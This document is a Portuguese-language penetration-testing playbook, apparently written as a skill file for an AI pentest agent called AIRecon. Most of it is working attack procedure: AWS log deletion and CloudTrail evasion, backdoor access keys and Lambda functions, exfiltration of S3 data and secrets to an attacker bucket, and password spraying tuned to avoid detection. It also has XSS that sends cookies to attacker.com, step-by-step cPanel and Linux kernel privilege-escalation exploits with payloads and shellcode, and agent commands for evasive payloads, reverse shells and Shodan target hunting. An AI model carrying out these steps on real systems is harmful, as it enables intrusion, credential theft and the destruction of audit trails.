EXPLOIT-WEB-001: HTTP Header Injection - IP Bypass com headi (PTES 4.1.1.8 - WAF Bypass)

VULNERABILITY: Controle de acesso baseado em IP via headers HTTP
TOOL: headi (instalado em /opt/Tools/HTTP-Injection/headi)
SEVERITY: HIGH/CRITICAL
PTES: 4.1.1.8 - WAF Bypass / 4.2 - Customized Exploitation

QUANDO USAR:
- Recurso retorna 403/401 por restrição de IP
- Suspeita de proxy reverso que confia em headers do cliente
- Endpoint interno acessível via header spoofing
- Bypass de WAF por IP whitelist

EXPLOITATION STEPS:
1. Confirmar o bloqueio baseline
   curl -v https://target.com/restricted → 403 Forbidden

2. Executar headi com payloads padrão (localhost bypass)
   headi -u https://target.com/restricted

3. Se IPs internos foram enumerados na fase de Intelligence Gathering:
   headi -u https://target.com/restricted -p internal_ips.txt

4. Confirmar bypass manualmente com o header identificado
   curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/restricted
   curl -H "X-Real-IP: 127.0.0.1" https://target.com/restricted

5. Explorar o recurso agora acessível

INTERPRETAÇÃO DO OUTPUT:
[+] verde = mudança no Content-Length → bypass em potencial
[-] vermelho = sem mudança

Exemplo positivo:
[+] [https://target.com/admin] [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 8192]

PAYLOADS PADRÃO DO HEADI:
127.0.0.1, localhost, 0.0.0.0, 0, 127.1, 127.0.1, 2130706433

HEADERS MAIS EFETIVOS PARA BYPASS:
- X-Forwarded-For (mais comum em proxies/load balancers)
- X-Real-IP (nginx)
- X-Custom-IP-Authorization (aplicações customizadas)
- True-Client-IP (Cloudflare)
- X-Original-URL / X-Rewrite-URL (IIS/mod_rewrite bypass)

VARIAÇÃO - SSRF via Host header:
headi pode identificar Host header injection → use para SSRF
curl -H "X-Forwarded-Host: attacker.com" https://target.com/

4. Técnicas de Evasão (PTES 4.1.1 - Countermeasure Bypass)

Evitar CloudTrail Detection (PTES 4.1.1 - Bypass)

# Usar endpoints VPC (não logged)
aws s3 ls --endpoint-url https://s3.vpce.amazonaws.com

# Usar sessões temporárias (menor rastro)
aws sts assume-role --role-arn <role> --role-session-name temp

# Evitar ações de escrita destrutivas
# Em vez de DeleteBucket: apenas listar
aws s3 ls s3://target-bucket

Rate Limiting (PTES 4.1.1 - Human Bypass)

# Adicionar delay entre comandos
sleep 2 && aws iam attach-user-policy ...
sleep 2 && aws sts get-caller-identity

Log Deletion (PTES 4.9.2 - Cleanup)

# Parar CloudTrail (apenas se autorizado!)
aws cloudtrail stop-logging --name <trail-name>

# Deletar logs específicos
aws logs delete-log-group --log-group-name /aws/cloudtrail/...

5. Documentação da Exploração (PTES 6.2 - Technical Reporting)

Template de Evidência (PTES 4.7 - Pillaging)

EXPLOITATION: [Nome da técnica]
DATE: [YYYY-MM-DD HH:MM:SS UTC]
TARGET: [ARN do recurso]
PATH-ID: [PATH-XXX]
PTES SECTION: [4.1/4.2/4.4/4.7/4.9]

PRE-EXPLOITATION STATE:
[Estado antes da exploração]

COMMANDS EXECUTED:
[Comandos exatos executados]

POST-EXPLOITATION STATE:
[Estado após exploração]

EVIDENCE:
[Screenshots, outputs, logs]

IMPACT CONFIRMED:
[O que foi confirmado com esta exploração]

PTES REFERENCE:
- Section: [PTES 4.x]
- Subsection: [Specific technique]

6. Validação de Sucesso (PTES 4.9 - Pivoting)

# Verificar permissões atuais
aws sts get-caller-identity

# Listar permissões efetivas
aws iam simulate-principal-policy \
  --policy-source-arn <self-arn> \
  --action-names "*" \
  --resource-arns "*"

# Verificar acesso a recursos críticos
aws s3 ls
aws secretsmanager list-secrets
aws ec2 describe-instances

7. Persistence Techniques (PTES 4.10 - Persistence)

Backdoor Access Keys

# Criar access key persistente (apenas se autorizado!)
aws iam create-access-key --user-name <compromised-user>

# Guardar para acesso futuro
# ARN: AKIA...
# Secret: ...

Login Profile Creation

# Criar console access
aws iam create-login-profile \
  --user-name <compromised-user> \
  --password 'BackdoorPassword123!' \
  --no-password-reset-required

Lambda Backdoor

# Criar Lambda com trigger
aws lambda create-function \
  --function-name backdoor-function \
  --runtime python3.9 \
  --role arn:aws:iam::ACCOUNT:role/backdoor-role \
  --handler lambda_function.lambda_handler \
  --zip-file fileb://backdoor.zip

8. Data Exfiltration (PTES 4.7.2 - Data Exfiltration)

S3 Exfiltration

# Listar buckets acessíveis
aws s3 ls

# Copiar dados para bucket controlado
aws s3 cp s3://target-bucket/sensitive-data/ s3://attacker-bucket/ --recursive

Secrets Exfiltration

# Exportar todos os secrets
aws secretsmanager list-secrets --query 'SecretList[].Name' | xargs -I {} \
  aws secretsmanager get-secret-value --secret-id {} >> exfiltrated-secrets.txt

Database Dump

# Conectar ao RDS via SSM
aws ssm start-session --target <instance-id>

# Dump database
mysqldump -h <rds-endpoint> -u admin -p database > dump.sql

9. Output Esperado desta Fase (PTES Deliverables)

Exploitation Report (PTES 4 - Exploitation)

Lista de vulnerabilities exploradas com sucesso (PTES 4.1 - Precision Strike)
Evidências de cada exploração (screenshots, outputs) (PTES 4.7 - Pillaging)
Attack paths confirmados (PTES 4.2 - Customized Exploitation)
Credenciais comprometidas (para relatório) (PTES 4.7 - Pillaging)
Impacto real validado (PTES 4.9 - Pivoting)
Persistence mechanisms established (PTES 4.10 - Persistence)
Data exfiltration evidence (PTES 4.7.2 - Data Exfiltration)
Password audit results (security-passwords plugin)
CTF exploitation techniques applied (ctf-assistant agent)

Password Attacks com security-passwords

Recursos Disponíveis (`security-passwords` plugin)

Local: `seclists-categories passwords/passwords/references/`

Wordlists Disponíveis:
- `500-worst-passwords.txt` - Quick tests for weak passwords
- `10k-most-common.txt` - Common passwords for brute force
- `100k-most-used-passwords-NCSC.txt` - NCSC password list
- `probable-v2_top-12000.txt` - Statistically probable passwords
- `darkweb2017_top-100.txt` - Dark web breach compilations
- `darkweb2017_top-1000.txt` - Extended dark web list
- `darkweb2017_top-10000.txt` - Full dark web compilation
- `2024-197_most_used_passwords.txt` - Recent password analysis
- `top-passwords-shortlist.txt` - Quick reference list
- `best1050.txt` - Curated best passwords list

Brute Force Attacks (PTES 4.2.5 - Brute-Force)

# Hydra - SSH brute force
hydra -L seclists-categories/usernames/top-usernames-shortlist.txt \
      -P seclists-category/passwords/500-worst-passwords.txt \
      ssh://target.com

# Hydra - HTTP POST form
hydra -l admin -P seclists-category/passwords/10k-most-common.txt \
      target.com http-post-form "/login:username=^USER^&password=^PASS^:Invalid"

# Hashcat - Password cracking
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/500-worst-passwords.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/10k-most-common.txt

# John the Ripper
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
john --wordlist=seclists-category/passwords/probable-v2_top-12000.txt hash.txt

Password Spraying

# Low-and-slow password spraying
for password in $(cat seclists-category/passwords/500-worst-passwords.txt); do
    curl -s -X POST https://target.com/login \
         -d "username=admin&password=$password" \
         -o /dev/null -w "%{http_code}\n"
    sleep 5  # Avoid detection
done

Default Credentials (cirt-default-usernames.txt)

Combinações comuns para testar:
admin:admin
admin:password
admin:123456
root:root
test:test
guest:guest
service:service
oracle:oracle
postgres:postgres
mysql:mysql

CTF Exploitation Techniques (ctf-assistant agent)

Web Exploitation

# SQL Injection in CTFs
payloads = [
    "' OR '1'='1",
    "' OR '1'='1' --",
    "admin' --",
    "' UNION SELECT NULL--",
    "' UNION SELECT username,password FROM users--",
    "' UNION SELECT LOAD_FILE('/flag')--"  # MySQL file read
]

# Command Injection
injection_payloads = [
    "; cat /flag",
    "| cat /flag",
    "&& cat /flag",
    "$(cat /flag)",
    "`cat /flag`"
]

# Directory Traversal
traversal_payloads = [
    "../../../flag",
    "....//....//....//flag",
    "..%2F..%2F..%2Fflag",
    "/etc/passwd",
    "/proc/self/environ"
]

XSS in CTFs

// Basic XSS - steal admin cookie
<script>fetch('http://attacker.com?c='+document.cookie)</script>

// Bypass filters
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>

// Exfiltrate data
<script>
    fetch('http://attacker.com?flag=' + btoa(document.body.innerText))
</script>

Password Cracking em CTFs

# Identificar hash type
hashid hash.txt
hash-identifier

# Crack com wordlists
john --wordlist=seclists-category/passwords/500-worst-passwords.txt hash.txt
hashcat -m 0 -a 0 hash.txt seclists-category/passwords/probable-v2_top-12000.txt

# Brute force login em CTF
hydra -l admin -P seclists-category/passwords/500-worst-passwords.txt \
      target.com http-post-form "/login:user=^USER^&pass=^PASS^:Failed"

Binary Exploitation (pwntools)

from pwn import *

# Template para CTF binary exploitation
r = remote('target.com', 1337)

# Buffer overflow
offset = 64
payload = b'A' * offset + p64(0x4011c6)  # Return address

r.sendline(payload)
r.interactive()

# ROP chain
rop = ROP('./binary')
rop.call(rop.ret)  # Stack alignment
rop.call(rop.plt['puts'], [rop.got['puts']])
rop.call(rop.symbols['main'])

Forensics em CTFs

# File carving
binwalk -e firmware.bin
foremost -i image.dd

# Memory analysis
volatility -f memory.dump imageinfo
volatility -f memory.dump --profile=Win7SP1x64 pslist

# PCAP analysis
tshark -r capture.pcap -Y "http.request"
strings capture.pcap | grep -i flag

# Steganography
steghide extract -sf image.jpg
zsteg image.png

Crypto CTF Techniques

# Caesar cipher
def caesar_decrypt(ciphertext, shift):
    return ''.join(chr((ord(c) - shift - 65) % 26 + 65) for c in ciphertext)

# XOR brute force
def xor_brute(ciphertext):
    for key in range(256):
        plaintext = ''.join(chr(b ^ key) for b in ciphertext)
        if plaintext.isprintable():
            print(f"Key {key}: {plaintext}")

# Base64 variations
import base64
base64.b64decode(encoded)
base64.b32decode(encoded)
base64.b16decode(encoded)

EXPLOIT-WEB-002: CVE-2026-41940 — cPanel & WHM Authentication Bypass

VULNERABILITY: CVE-2026-41940 (cPanel Auth Bypass)
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%
AFFECTED: cPanel & WHM (todas versões até patch fev/2026)
TOOLS: /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py
PTES: 4.2 - Customized Exploitation / 4.1.1.8 - WAF Bypass

Root Cause (Resumo Técnico)

A vulnerabilidade permite bypass completo de autenticação no cPanel & WHM através de:

CRLF Injection no fluxo de criação de sessão
Falha na validação de cookies que permite injeção de headers
Tratamento inseguro de sessão que aceita cookies forjados

Mecanismo de ataque (4 stages):

Stage 1: Pre-auth → POST /login/?login_only=1 → whostmgrsession cookie
Stage 2: Inject → GET /scripts2/doautoconfig + CRLF payload → 307 redirect + token leak
Stage 3: Propagate → GET /scripts2/listaccts → session raw → cache
Stage 4: Verify → GET /{token}/json-api/version → API access confirmed

Por que é CVSS 9.8:

Nenhuma autenticação requerida (pre-login bypass)
Acesso root completo ao WHM
MFA bypassado (tfa_verified=1 injetado)
Complexidade baixa (ataque automatizado)
Exploração confirmada em produção desde fevereiro/2026

Pré-requisitos para Exploração

1. Acesso remoto ao cPanel/WHM (porta 2087 ou 2083)
2. Python 3.8+ com requests instalado
3. Target executando cPanel sem patch

Passo-a-Passo para Pentest

# STEP 1: Detectar cPanel (Intelligence Gathering)
httpx -u https://TARGET -title -tech-detect
# Indicadores: cPanel, WHM, porta 2087/2083

# STEP 2: Detectar vulnerabilidade (safe, non-destructive)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password detect

# Output esperado (vulnerável):
# [+] Stage 1: Pre-auth session minted
# [+] Stage 2: CRLF injection successful
# [+] Token: a1b2c3d4e5f6
# [+] VULNERABLE: CVE-2026-41940 confirmed

# STEP 3: Explorar bypass completo
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password exploit

# Output esperado:
# [+] Stage 3: Session propagated to cache
# [+] Stage 4: API access verified
# [+] WHM API version: 1.1.104
# [+] Root access: GRANTED
# [+] Exploitation complete — full admin access

# STEP 4: Verificar acesso pós-bypass
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password verify

# STEP 5: Checar patch status (se necessário)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET -u admin -p password check-patch

Pós-Exploração (Manual)

# Acesso WHM API
curl -k -H "Authorization: Basic <base64_payload>" \
     -H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
     https://TARGET/json-api/version

# Listar contas
curl -k -H "Authorization: Basic <payload>" \
     -H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
     https://TARGET/json-api/listaccts

# Criar conta cPanel
curl -k -X POST \
     -H "Authorization: Basic <payload>" \
     -H "Cookie: whostmgrsession=<session>; sucesso=1; tfa_verified=1" \
     -d "user=backdoor&pass=Backdoor123!&email=attacker@evil.com" \
     https://TARGET/json-api/createacct

Payload Bypass

PAYLOAD_B64 = "cm9vdDp4DQpzdWNjZXNzZnVsX2ludGVybmFsX2F1dGhfd2l0aF90aW1lc3RhbXA9OTk5OTk5OTk5OQ0KdXNlcj1yb290DQp0ZmFfdmVyaWZpZWQ9MQ0KaGFzcm9vdD0x"

# Decoded:
# root:x
# successful_internal_auth_with_timestamp=9999999999
# user=root
# tfa_verified=1
# hasroot=1

Template de Finding

FINDING: CVE-2026-41940-CPANEL-BYPASS
CATEGORY: REMOTE_AUTHENTICATION_BYPASS
SEVERITY: CRITICAL
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
EPSS: 28.36%

TARGET:
- Host: [TARGET]
- cPanel Version: [version]
- Patch Status: UNPATCHED

DESCRIPTION:
Authentication bypass no cPanel & WHM permite acesso root completo
via CRLF injection + session fixation. Nenhuma autenticação
requerida (pre-login bypass). MFA bypassado via cookie injection.

EVIDENCE:
[poc.py detect output]
[poc.py exploit output]
[WHM API access confirmation]

IMPACT:
- Acesso root completo ao WHM
- Criação/modificação de contas cPanel
- Acesso a todos domínios hospedados
- Execução de comandos via WHM API
- Comprometimento total do servidor

PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar cPanel para versão mais recente (pós-fev/2026)

Mitigação (para reporte)

# Atualizar cPanel
/scripts/upcp --force

# Verificar versão
/usr/local/cpanel/version

# Monitorar logs
tail -f /usr/local/cpanel/logs/access_log | grep -E "whostmgrsession|doautoconfig"

# WAF rules (temporário)
# Bloquear CRLF em headers Authorization/Cookie
# Restringir acesso porta 2087 por IP

Referências

First disclosed: Fevereiro 2026
Exploitation in wild: Confirmado
Patch status: Disponível (verificar changelog cPanel)
PoC location: /root/.pcode/pocs/cPanel/CVE-2026-41940/

EXPLOIT-LPE-002: CVE-2026-46333 "ssh-keysign-pwn" - Linux Kernel ptrace_may_access Bypass

VULNERABILITY: CVE-2026-46333 (ssh-keysign-pwn)
SEVERITY: HIGH
CVSS: 8.8 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)
AFFECTED: Linux kernels before 2026-05-14 (all stable versions)
TOOLS: sshkeysign_pwn, chage_pwn, vuln_target
PTES: 4.2 - Customized Exploitation / 4.1.1 - Countermeasure Bypass

Root Cause (Resumo Técnico)

A vulnerabilidade está na função __ptrace_may_access() do kernel Linux, que verifica se um processo pode acessar outro processo.

Cadeia de exploração:

__ptrace_may_access() ignora a verificação dumpable quando task->mm == NULL
do_exit() executa exit_mm() (define task->mm = NULL) ANTES de exit_files()
Durante essa janela de tempo, o processo ainda tem file descriptors abertos
pidfd_getfd(2) succeeds quando o uid do caller matches o uid do target
Resultado: roubo de file descriptors de processos root

Por que é stealth:

Explora race condition natural do kernel
Não requer modificações no sistema
Janela de exploração é milissegundos
File descriptors são clonados, não movidos

Affected Kernels

floor:  torvalds/linux (commit inicial - verificar histórico)
ceiling: torvalds/linux (patch 2026-05-14)

AFETADOS: Todos kernels estáveis antes de 2026-05-14
- Raspberry Pi OS Bookworm: 6.12.75+
- Debian 13: vulnerable
- Ubuntu 22.04 LTS: vulnerable
- Ubuntu 24.04 LTS: vulnerable
- Ubuntu 26.04 LTS: vulnerable
- Arch Linux: vulnerable
- CentOS 9: vulnerable
- RHEL 9: vulnerable

Pré-requisitos para Exploração

1. Acesso local como usuário não-privilegiado
2. Kernel vulnerável (sem patch de 2026-05-14)
3. Para sshkeysign_pwn:
   - SSH com EnableSSHKeysign ativado
   - ssh-keysign executando como root
4. Para chage_pwn:
   - Comando 'chage -l' executando como root via sudo

Técnica 1: sshkeysign_pwn - Roubo de SSH Host Keys

# 1. Verificar se ssh-keysign está habilitado
grep -i EnableSSHKeysign /etc/ssh/ssh_config

# 2. Compilar PoC
cd /opt/Tools/ssh-keysign-pwn/
make

# 3. Executar exploit
./sshkeysign_pwn

# 4. Verificar chaves roubadas
ls -la /tmp/stolen_keys/
cat /tmp/stolen_keys/ssh_host_ecdsa_key
cat /tmp/stolen_keys/ssh_host_ed25519_key
cat /tmp/stolen_keys/ssh_host_rsa_key

# 5. Pós-exploração: usar chaves para impersonate host
# - Man-in-the-middle em conexões SSH
# - Assinar certificados SSH
# - Acessar trust relationships

Impacto:

Roubo de chaves privadas do host SSH
Permite impersonation do servidor
Quebra de trust em federações SSH
Possibilidade de MITM em conexões futuras

Técnica 2: chage_pwn - Roubo de /etc/shadow

# 1. Verificar se chage pode ser executado como root
sudo -l | grep chage

# 2. Compilar PoC
cd /opt/Tools/ssh-keysign-pwn/
make

# 3. Executar exploit (requer que root execute chage -l)
./chage_pwn root

# 4. Verificar shadow roubado
cat /tmp/stolen_shadow

# 5. Quebrar hashes offline
john /tmp/stolen_shadow
hashcat -m 1800 /tmp/stolen_shadow /path/to/wordlist

Impacto:

Acesso a hashes de senha de todos os usuários
Quebra offline de senhas de administrador
Possibilidade de pivô para outras contas

Técnica 3: vuln_target - Teste de Vulnerabilidade

# 1. Compilar teste
cd /opt/Tools/ssh-keysign-pwn/
make

# 2. Executar teste de vulnerabilidade
./vuln_target

# 3. Interpretar resultado
# - "VULNERABLE" → kernel afetado
# - "NOT VULNERABLE" → kernel patchado

Workflow de Pentest

# 1. Enumeração inicial
uname -r  # Verificar versão do kernel
cat /etc/os-release  # Verificar distribuição

# 2. Testar vulnerabilidade
cd /opt/Tools/ssh-keysign-pwn/
./vuln_target

# 3. Se VULNERABLE, verificar vetores
# SSH Key theft
grep -i EnableSSHKeysign /etc/ssh/ssh_config

# Shadow theft
sudo -l | grep chage

# 4. Explorar vetor disponível
make
./sshkeysign_pwn  # OU
./chage_pwn root

# 5. Pós-exploração
# Com SSH host keys:
# - Configurar MITM
# - Assinar certificados falsos

# Com /etc/shadow:
# - Quebrar hashes offline
# - Identificar senhas fracas de admin

Mitigação e Remediation

# 1. Atualizar kernel (RECOMENDADO)
# Verificar patch de 2026-05-14 ou posterior

# 2. Desabilitar ssh-keysign (se não necessário)
# /etc/ssh/ssh_config:
#   EnableSSHKeysign no

# 3. Restringir chage no sudoers
# /etc/sudoers:
#   %sudo ALL=(ALL) NOPASSWD: /usr/bin/chage  # REMOVER

# 4. Monitorar uso de pidfd_getfd
auditctl -a exit,always -F arch=b64 -S pidfd_getfd

# 5. Kernel hardening (sysctl)
echo "kernel.yama.ptrace_scope = 2" >> /etc/sysctl.d/60-ptrace.conf

Template de Finding

FINDING: CVE-2026-46333-LPE
CATEGORY: LOCAL_PRIVILEGE_ESCALATION
SEVERITY: HIGH
CVSS: 8.8 (AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H)

TARGET:
- Kernel: [uname -r]
- Distro: [cat /etc/os-release]
- Affected: YES/NO

DESCRIPTION:
Vulnerabilidade no kernel Linux (__ptrace_may_access dumpable check bypass)
permite roubo de file descriptors de processos root via pidfd_getfd durante
janela de race condition em do_exit().

EXPLOITATION:
- sshkeysign_pwn: roubo de chaves SSH host
- chage_pwn: roubo de /etc/shadow

EVIDENCE:
[vuln_target output]
[sshkeysign_pwn ou chage_pwn output]
[ls -la /tmp/stolen_* output]

PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar kernel para versão com patch de 2026-05-14+

Referências

NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-46333
Kernel Patch: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=
Qualys Report: https://www.qualys.com/2026/05/14/linux-kernel-cve-2026-46333.txt
Jann Horn Disclosure: https://groups.google.com/g/linux-kernel/c/
PoC Location: /opt/Tools/ssh-keysign-pwn/

EXPLOIT-LPE-001: CVE-2026-31431 "Copy Fail" - Linux Local Privilege Escalation

VULNERABILITY: CVE-2026-31431 (Copy Fail)
SEVERITY: CRITICAL
CVSS: 7.8 (High Privilege Escalation)
AFFECTED: Linux kernels 2017-2026 (commit 72548b093ee3 to a664bf3d603d)
TOOLS: copy_fail_exp.py (732 bytes), exploit_cve_2026_31431.py
PTES: 4.2 - Customized Exploitation / 4.1.1 - Countermeasure Bypass

Root Cause (Resumo Técnico)

A vulnerabilidade está no template criptográfico authencesn do kernel Linux, usado pelo IPsec para Extended Sequence Numbers (ESN).

Cadeia de exploração:

AF_ALG + splice() permite que páginas do page cache de arquivos legíveis sejam passadas por referência para o scatterlist de entrada do socket criptográfico
algif_aead.c opera in-place (req->src = req->dst), então o scatterlist de destino contém referências às páginas do page cache
authencesn faz um scratch-write de 4 bytes (seqno_lo) em dst[assoclen + cryptlen], que atravessa do buffer de output para as páginas do page cache encadeadas
Resultado: write controlado de 4 bytes no page cache de qualquer arquivo legível

Por que é stealth:

O page cache corrompido nunca é marcado como "dirty" para writeback
Nada é escrito no disco - apenas a cópia em memória é corrompida
Reboot ou eviction da página restaura o estado original
Ferramentas de integridade baseadas em disco não detectam

Affected Kernels

floor:  torvalds/linux 72548b093ee3   August 2017 (v4.14)
        (AF_ALG iov_iter rework - in-place AEAD optimization)

ceiling: torvalds/linux a664bf3d603d  April 2026 (mainline)
         (reverts in-place optimization)

AFETADOS: Todos kernels entre 2017-2026 sem o patch
- Ubuntu 24.04 LTS: 6.17.0-1007-aws
- Amazon Linux 2023: 6.18.8-9.213.amzn2023
- RHEL 10.1: 6.12.0-124.45.1.el10_1
- SUSE 16: 6.12.0-160000.9-default
- Debian, Arch, Fedora, Rocky, Alma: verificar commit

Pré-requisitos para Exploração

1. Acesso local como usuário não-privilegiado
2. AF_ALG socket family disponível (padrão em todas distros)
3. Módulo algif_aead carregado
4. Alvo legível: /usr/bin/su (setuid) ou /etc/passwd (world-readable)
5. Python 3.10+ (para os.splice) OU Go static binary

Técnica 1: Page Cache Write via /usr/bin/su

# copy_fail_exp.py - 732 bytes
import os, zlib, socket

def write4(f, offset, data):
    s = socket.socket(38, 5, 0)  # AF_ALG, SOCK_SEQPACKET
    s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
    s.setsockopt(279, 1, bytes.fromhex("0800010000000010" + "0"*64))  # key
    s.setsockopt(279, 5, None, 4)  # authsize
    u, _ = s.accept()
    
    # AAD: bytes 4-7 = valor a escrever (seqno_lo)
    u.sendmsg([b"A"*4 + data], [...], 32768)  # MSG_MORE
    
    # Splice do arquivo para pipe, depois para socket
    r, w = os.pipe()
    os.splice(f, w, offset+4, offset_src=0)
    os.splice(r, u.fileno(), offset+4)
    
    try: u.recv(8+offset)  # trigger
    except: pass

# Exploração
f = os.open("/usr/bin/su", os.O_RDONLY)
shellcode = zlib.decompress(payload)  # shellcode descomprimido
for i in range(0, len(shellcode), 4):
    write4(f, i, shellcode[i:i+4])
os.system("su")  # executa su corrompido

Técnica 2: UID Modification via /etc/passwd

# exploit_cve_2026_31431.py - modifica UID para 0000
# Mais confiável que injetar shellcode

# 1. Encontrar offset do UID no /etc/passwd
# Formato: username:x:UID:GID:comment:home:shell
# Ex: testuser:x:1000:1000:Test User:/home/testuser:/bin/bash
#                    ^^^^ <- offset do UID (4 bytes)

# 2. Escrever "0000" no offset do UID
write4("/etc/passwd", uid_offset, b"0000")

# 3. Verificar via libc
import pwd
pwent = pwd.getpwnam("testuser")
print(f"pw_uid = {pwent.pw_uid}")  # Deve ser 0

# 4. Executar su para root shell
os.execvp("su", ["su", "testuser"])
# PAM valida senha contra /etc/shadow (intacto)
# setuid(0) concede root

Passo-a-Passo para Pentest

# STEP 1: Detectar vulnerabilidade (safe, non-destructive)
python3 test_cve_2026_31431.py
# Exit 0 = NOT vulnerable
# Exit 2 = VULNERABLE
# Exit 1 = test error

# STEP 2: Explorar (escolher abordagem)

# Abordagem A: /etc/passwd UID modification (mais confiável)
python3 exploit_cve_2026_31431.py --shell
# Modifica page cache do /etc/passwd
# Executa su <user> automaticamente
# Digite sua senha para root shell

# Abordagem B: /usr/bin/su shellcode injection
python3 copy_fail_exp.py
# Injeta shellcode diretamente no su
# Executa su corrompido

# STEP 3: Pós-exploração
id  # uid=0(root) gid=1000(user)
whoami  # root

# STEP 4: Limpeza (restaurar page cache)
# Da root shell:
echo 3 > /proc/sys/vm/drop_caches

# OU sem root (evict page):
python3 -c "import os; fd=os.open('/etc/passwd', os.O_RDONLY); \
            os.posix_fadvise(fd, 0, 0, os.POSIX_FADV_DONTNEED); os.close(fd)"

Payloads por Arquitetura

Arquitetura | Shellcode (zlib compressed hex)
-----------|----------------------------------
amd64      | 78daab77f57163626464800126063b...
i386       | 78daab77f571636464648001260666...
arm64      | 78daab77f5716362646480012686ed...

Shellcode Assembly (exec /bin/sh)

; amd64 - execve("/bin/sh", NULL, NULL)
xor eax, eax
xor edi, edi
mov al, 0x69      ; sys_setuid
syscall
lea rdi, [rel sh]
xor esi, esi
push 0x3b
pop rax
cdq
syscall
sh: db "/bin/sh", 0

Mitigação (para reporte)

# Imediato: desabilitar módulo algif_aead
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
rmmod algif_aead 2>/dev/null

# Permanente: atualizar kernel
# Patch commit: a664bf3d603d
# Distro packages: verificar changelog

# Container/Kubernetes: seccomp profile
# Bloquear AF_ALG socket creation

Template de Finding

FINDING: CVE-2026-31431-LPE
CATEGORY: LOCAL_PRIVILEGE_ESCALATION
SEVERITY: CRITICAL
CVSS: 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

TARGET:
- Kernel: [uname -r]
- Distro: [cat /etc/os-release]
- Affected: YES/NO

DESCRIPTION:
Vulnerabilidade no kernel Linux (authencesn + AF_ALG + splice)
permite write controlado de 4 bytes no page cache de qualquer
arquivo legível. Exploração concede root via /etc/passwd ou
/usr/bin/su corruption.

EVIDENCE:
[test_cve_2026_31431.py output]
[id output após exploração]

PTES REFERENCE: Section 4.2 - Customized Exploitation
REMEDIATION: Atualizar kernel ou desabilitar algif_aead

Referências

Disclosure: https://xint.io/blog/copy-fail-linux-distributions
GitHub: https://github.com/theori-io/copy-fail-CVE-2026-31431
Patch: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=a664bf3d603d
CVE: CVE-2026-31431

Próximos Passos

Após completar esta fase, prossiga para pentest_post-exploitation (PTES Section 5)

🤖 AIRecon Integration for Exploitation

Invocando AIRecon para Exploitation

# AIRecon com keywords de exploitation
airecon "pentest exploitation cve-2026-41940 cpanel bypass"

# AIRecon detectará keywords e carregará:
# - pentest-exploitation.md (skill primária)
# - pentest-post-exploitation.md (para pós-exploração)
# - MCP tools: boaz (payload generation), hexstrike (metasploit, sqlmap)

# Para Linux LPE exploitation:
airecon "pentest exploitation cve-2026-31431 linux privilege escalation"
airecon "pentest exploitation cve-2026-46333 ssh-keysign-pwn"

# Para AWS privilege escalation:
airecon "pentest exploitation aws iam privilege escalation worstassume"

AIRecon Slash Commands Úteis para Exploitation

# SQL Injection exploitation
/sqli-test --target https://target.com/page?id=1 --exploit

# Network exploitation
/naabu-scan --target target.com --exploit-ports 22,80,443

# Webshell detection (post-exploitation)
/webshell-detect --target /var/www/html --recursive

# API key harvesting (post-exploitation)
/api-keys --target ./src --recursive --extract

MCP Tool Integration via AIRecon

Durante exploitation, AIRecon pode invocar MCP tools automaticamente:

# boaz: Advanced payload generation with evasion
airecon "generate evasive payload for Windows 11 + Defender"
# → Usará mcp__boaz__generate_payload

airecon "list available boaz loaders"
# → Usará mcp__boaz__list_loaders

# hexstrike-local: Exploitation tools
airecon "run metasploit exploit multi/handler"
# → Usará mcp__hexstrike-local__metasploit_run

airecon "generate msfvenom payload windows/x64/shell_reverse_tcp"
# → Usará mcp__hexstrike-local__msfvenom_generate

airecon "run sqlmap exploit on https://target.com/page?id=1"
# → Usará mcp__hexstrike-local__sqlmap_scan

# pentestswarm-remote: Automated exploitation campaigns
airecon "start exploitation campaign for target.com"
# → Usará mcp__pentestswarm-remote__start_campaign

# cve-mcp: Exploit availability checking
airecon "check exploit availability CVE-2026-41940"
# → Usará mcp__cve-mcp__check_exploit_availability

airecon "generate exploit from CVE-2026-41940"
# → Usará mcp__hexstrike-local__generate_exploit_from_cve

Workflow Example: Exploitation com AIRecon + BOAZ + Metasploit

# 1. Usar AIRecon para carregar exploitation skill
airecon "pentest exploitation target.com"

# 2. AIRecon auto-carrega pentest-exploitation.md

# 3. Gerar payload evasivo com BOAZ via AIRecon
airecon "boaz generate payload --input shell.exe --loader 1 --evasion advanced"

# 4. Executar Metasploit handler via AIRecon
airecon "metasploit use exploit/multi/handler --payload windows/x64/shell_reverse_tcp"

# 5. AIRecon monitora sessão e reporta sucesso
# 6. Exportar exploitation evidence
airecon "export exploitation evidence to JSON"

Workflow Example: CVE-2026-41940 (cPanel) com AIRecon

# 1. Detectar cPanel via AIRecon
airecon "shodan search product:cpanel port:2087"

# 2. Verificar exploit availability
airecon "check exploit availability CVE-2026-41940"

# 3. Executar PoC de detecção
airecon "python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py detect"

